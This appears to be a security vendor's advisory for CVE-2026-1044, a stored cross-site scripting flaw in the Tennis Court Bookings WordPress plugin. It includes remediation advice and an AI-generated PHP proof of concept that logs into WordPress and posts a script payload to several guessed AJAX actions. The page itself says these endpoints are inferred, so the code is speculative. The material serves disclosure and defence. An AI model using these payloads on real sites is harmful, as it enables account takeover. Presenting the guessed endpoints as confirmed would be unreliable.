Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1044: Tennis Court Bookings <= 1.2.7 – Authenticated (Administrator+) Stored Cross-Site Scripting via Admin Settings and Calendar Parameters (tennis-court-bookings)

CVE ID CVE-2026-1044
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.2.7
Patched Version
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1044 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Tennis Court Bookings WordPress plugin versions up to 1.2.7. The vulnerability affects admin settings and calendar parameters, allowing attackers with administrator-level permissions to inject malicious scripts that execute when users view compromised pages. The CVSS score of 4.4 reflects the elevated privileges required and the limited attack scope to multi-site installations or those with disabled unfiltered_html.

The root cause is improper neutralization of input during web page generation (CWE-79). The plugin insufficiently sanitizes user input in admin settings and calendar parameters before storage, and fails to properly escape this data during output. Atomic Edge research infers the vulnerability likely exists in AJAX handlers or admin menu callback functions that process and store configuration values. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.

Exploitation requires an authenticated attacker with administrator privileges. The attacker would navigate to the plugin’s admin settings page or calendar management interface. They would submit malicious JavaScript payloads within parameters that the plugin processes and stores without adequate sanitization. Example payloads include alert(document.cookie) or more sophisticated scripts for session hijacking. The stored payload executes when any user accesses pages containing the injected content.

Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all user-controlled data using WordPress functions like sanitize_text_field() before storage. During output, the plugin must escape data with functions like esc_html() or esc_attr() based on context. WordPress capability checks should remain, but the unfiltered_html capability should not be the sole protection against XSS.

Successful exploitation enables attackers to perform actions within the victim’s session context. This can lead to session hijacking, administrative account takeover, defacement of the WordPress site, or redirection to malicious sites. The impact is limited to sites where unfiltered_html is disabled, which includes WordPress multi-site installations by default and single-site installations where administrators have explicitly restricted this capability.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1044 - Tennis Court Bookings <= 1.2.7 - Authenticated (Administrator+) Stored Cross-Site Scripting via Admin Settings and Calendar Parameters
<?php
/**
 * Proof of Concept for CVE-2026-1044
 * Assumptions based on vulnerability description:
 * 1. The plugin has admin settings or calendar management endpoints
 * 2. These endpoints accept parameters that are stored without proper sanitization
 * 3. The endpoints require administrator authentication
 * 4. The plugin uses standard WordPress AJAX or admin-post handlers
 *
 * Since exact endpoints are unknown, this PoC demonstrates the attack pattern
 * using the plugin's likely admin interface structure.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';

// XSS payload - modify based on attack objectives
$payload = '<script>alert("XSS via Tennis Court Bookings");</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();

// First, obtain WordPress login nonce and cookies
curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT => 'Atomic Edge Research PoC'
]);

$login_page = curl_exec($ch);

// Extract login nonce (simplified - real implementation would parse HTML)
// This assumes standard WordPress login form
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => str_replace('admin-ajax.php', 'wp-admin/', $target_url),
    'testcookie' => '1'
]);

curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $login_data,
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);

$login_response = curl_exec($ch);

// After login, attempt to exploit the plugin's admin settings
// The exact action parameter is unknown, but likely follows plugin naming conventions
$possible_actions = [
    'tennis_court_bookings_save_settings',
    'tc_bookings_admin_save',
    'tennis_court_bookings_admin',
    'tcb_save_calendar_settings'
];

foreach ($possible_actions as $action) {
    $exploit_data = [
        'action' => $action,
        // Common parameter names in booking/calendar plugins
        'calendar_name' => $payload,
        'settings' => json_encode(['injected' => $payload]),
        'nonce' => 'inferred_nonce' // In real attack, would extract from admin page
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POSTFIELDS => http_build_query($exploit_data),
        CURLOPT_POST => true
    ]);
    
    $response = curl_exec($ch);
    echo "Attempted action: $actionn";
    echo "Response length: " . strlen($response) . "nn";
    
    // Brief pause between attempts
    sleep(1);
}

curl_close($ch);

echo "PoC completed. Check admin settings pages for XSS execution.n";
echo "Note: This PoC uses inferred endpoints. Actual exploitation requiresn";
echo "identifying the exact vulnerable parameters through reconnaissance.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School